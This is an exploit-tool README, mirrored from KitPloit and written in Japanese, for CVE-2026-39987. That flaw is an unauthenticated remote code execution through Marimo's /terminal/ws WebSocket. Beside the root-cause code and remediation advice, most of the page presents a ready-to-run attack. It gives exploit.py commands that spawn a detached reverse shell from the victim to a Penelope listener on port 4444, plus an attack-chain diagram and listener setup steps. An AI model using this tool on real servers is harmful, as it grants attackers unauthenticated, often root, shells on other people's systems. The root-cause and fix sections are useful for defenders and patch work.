## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GBUYSSENS-CVE-2026-39987
# CVE-2026-39987 — Marimo 事前認証RCE(`/terminal/ws`)
root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Marimo(リアクティブなPythonノートブックサーバー)における事前認証の**リモートコード実行** 。
認証されていない単一のWebSocket接続を `/terminal/ws` へ送るだけで、Marimoプロセスを実行しているユーザー(Dockerでは多くの場合 `root`)として、完全な対話型の**PTYシェル** を取得できます。
> ラボ/許可を得たテスト専用です(HTB、CTF、書面によるスコープを含むエンゲージメント)。
* * *
## 目次
* 脆弱性の概要
* 根本原因
* 攻撃チェーン
* 影響を受けるバージョン
* このリポジトリについて
* インストール
* 使い方
* Penelope統合
* 修復策
* 参考情報
* * *
## 脆弱性の概要
Marimo は統合ターミナルをWebSocket経由で公開しています。
root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
他のWebSocketルート(特にノートブックUI用の `/ws`)は正しく `validate_auth()` を呼び出します。
しかし **`/terminal/ws` は呼び出しません**。確認するのは次の項目だけです。
1. サーバーが**編集** モードであること
2. プラットフォームがPTYをサポートしていること
その後、すぐに次の処理が実行されます。
root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
インスタンスで認証が有効になっている場合でも、Cookie、トークン、パスワード、`Authorization` ヘッダーは一切不要です。
**影響:** Marimoプロセスの権限による、認証不要の任意コマンド実行。標準のコンテナイメージでは、これは多くの場合 **root** です。
* * *
## 根本原因
ファイル(脆弱なツリー): `marimo/_server/api/endpoints/terminal.py`
root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
認証を強制しているノートブック用WebSocket(`ws_endpoint.py`)と比較してください。
root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
* * *
## 攻撃チェーン
root@kitploit:~
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
1. 認証情報なしで `ws(s)://target/terminal/ws` に接続する
2. サーバーが接続を受け入れ、PTYバックアップのシェルを起動する
3. WebSocket経由でキーストローク(コマンド)を送信する
4. 必要に応じて、WS切断後も生き残る**デタッチされた** リバースシェルを起動する
* * *
## 影響を受けるバージョン
ステータス| バージョン
---|---
脆弱性あり| Marimo **< = 0.20.4**(修正前)
修正済み| Marimo **0.23.0** 以降
外部認証ゲートウェイなしでターミナルWebSocketを公開しているデプロイメント(編集モード、PTYサポート)はすべて対象となります。
* * *
## このリポジトリについて
ファイル| 役割
---|---
`exploit.py`| PoC: コマンド実行+持続的リバースシェル+Penelopeランチャー
`penelope.py`| スタンドアロンのシェルハンドラー(brightio/penelope)
`README.md`| このファイル
* * *
## インストール
root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
`penelope.py` は追加の依存関係は**不要** です(Python 3.6+ 標準ライブラリのみ)。
* * *
## 使い方
### 1\. ワンショットのコマンド実行
root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
処理の流れ:
1. **フォークした子プロセス** が短時間待機し、`/terminal/ws` 経由で**デタッチされた** リバースシェルを届ける
2. 親プロセスは `0.0.0.0:4444` 上で**Penelopeをexec** する
3. コールバックが届くと、Penelopeが自動的にセッションへ接続し、TTYにアップグレードする
### 必要に応じて
root@kitploit:~
python3 exploit.py -h
* * *
## Penelope統合
Penelope は**スタンドアロン** スクリプト(`penelope.py`)としてバンドルされています。
* インストール不要、標準ライブラリのみ
* マルチセッションハンドラー
* 自動TTYアップグレード
* ファイルのアップロード/ダウンロード、ログ記録など
デフォルトのフロー(`-p`):
root@kitploit:~
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
子プロセスを使うのは意図的です: `os.execv(penelope)` は親プロセスのイメージを置き換えるため、バックグラウンドスレッドが殺されてしまいます。
手動でPenelopeを使う場合:
root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
* * *
## 修復策
1. Marimoを **> = 0.23.0** に**アップグレード** する(`pip install -U marimo`)
2. 編集モードのノートブックサーバーをパブリックインターネットに公開**しない**
3. アプリをリモートで使う必要がある場合は、リバースプロキシで認証・認可を実施する
4. localhost/プライベートネットワークにバインドし、VPNまたはSSHトンネルを使用する
5. 悪用が疑われる場合: ホストから到達可能な認証情報(クラウドキー、`.env`、SSHキー)をローテーションし、外向き接続と永続化を監査する
* * *
## 参考情報
* NVD — CVE-2026-39987
* GHSA-2679-6mx9-h9xc
* Marimo fix PR #9098
* Resecurity analysis
* Penelope shell handler
* * *
## 免責事項
このプロジェクトは**許可を得た** セキュリティテスト、教育、防御研究のみを目的としています。
適用される法律およびラボやクライアントのエンゲージメントルールを遵守する責任はすべて利用者にあります。